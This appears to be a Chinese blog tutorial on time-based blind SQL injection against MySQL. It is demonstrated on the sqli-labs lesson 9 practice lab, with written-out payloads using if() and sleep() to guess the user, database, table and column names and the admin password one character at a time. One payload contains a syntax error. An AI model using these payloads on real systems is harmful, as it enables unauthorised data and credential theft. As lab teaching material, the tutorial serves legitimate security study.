• sqli-时间盲注


    使用场景/条件

    1. 没有显位/回显,无法使用联合/报错,无法直接看到SQL语句执行的结果

    2. 无法根据前端页面判断后端SQL语句执行的真假,无法使用布尔盲注

    3. 能通过页面响应时间判断后端SQL语句执行的真假

    时间盲注用到的函数

    条件函数:

    1. if(a,b,c)
      条件a为真则执行b,否则执行c

    时间函数:

    1. sleep(a)
      mysql>=5.0
      睡眠a秒,然后返回0。若 SLEEP() 被中断,返回1。
    2. benchmark(a)
      mysql<5.0
      benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟
      select benchmark(1000,select * from admin)

    字符串函数:

    1. length(str)
      返回字符串的长度。
    2. substr(a,b,c)
      从b位置开始,截取字符串a的c长度
      ascii(substr((select user()),1,1))=98
      注意:mysql中的位置是从1开始的。
    3. ascii()
      返回字符的ascii码

    演示

    sqli-lab-9

    分析


    可以看到

    1. sql语句的结果不会返回到前端 = 没有显位 / 没有报错信息 = 不能联合查询 / 不能报错注入
    2. sql语句执行真假返回前端的页面都是一样的 = 无法根据页面判断sql语句执行真假 = 不能布尔盲注

    这时就可以考虑时间盲注,通过页面响应时间判断后端SQL语句执行的真假。

    演示

    1. 判断注入存在
      id=1 and sleep(5)--+
    2. 暴库爆表爆列
      和布尔盲注一样,要逐个字符根据响应时间猜解
      判断当前⽤户
      and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
      判断数据库名长度
      if(length(database())=8,sleep(5),1)--+
      猜解数据库名称
      and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
      猜解表名
      and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+
      猜解列名
      and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
      数据
      and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)
  • 相关阅读:
    读入输出优化模板
    HDU-2647 Reward(拓扑排序)
    HDU-2647 Reward(拓扑排序)
    HDU-2647 Reward(拓扑排序)
    HDU-2647 Reward(拓扑排序)
    Using KafkaBolt to write to a kafka topic
    Using KafkaBolt to write to a kafka topic
    Using KafkaBolt to write to a kafka topic
    Using KafkaBolt to write to a kafka topic
    getElementById() 获取指定ID的第一个元素
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13289398.html
Copyright © 2020-2023  润新知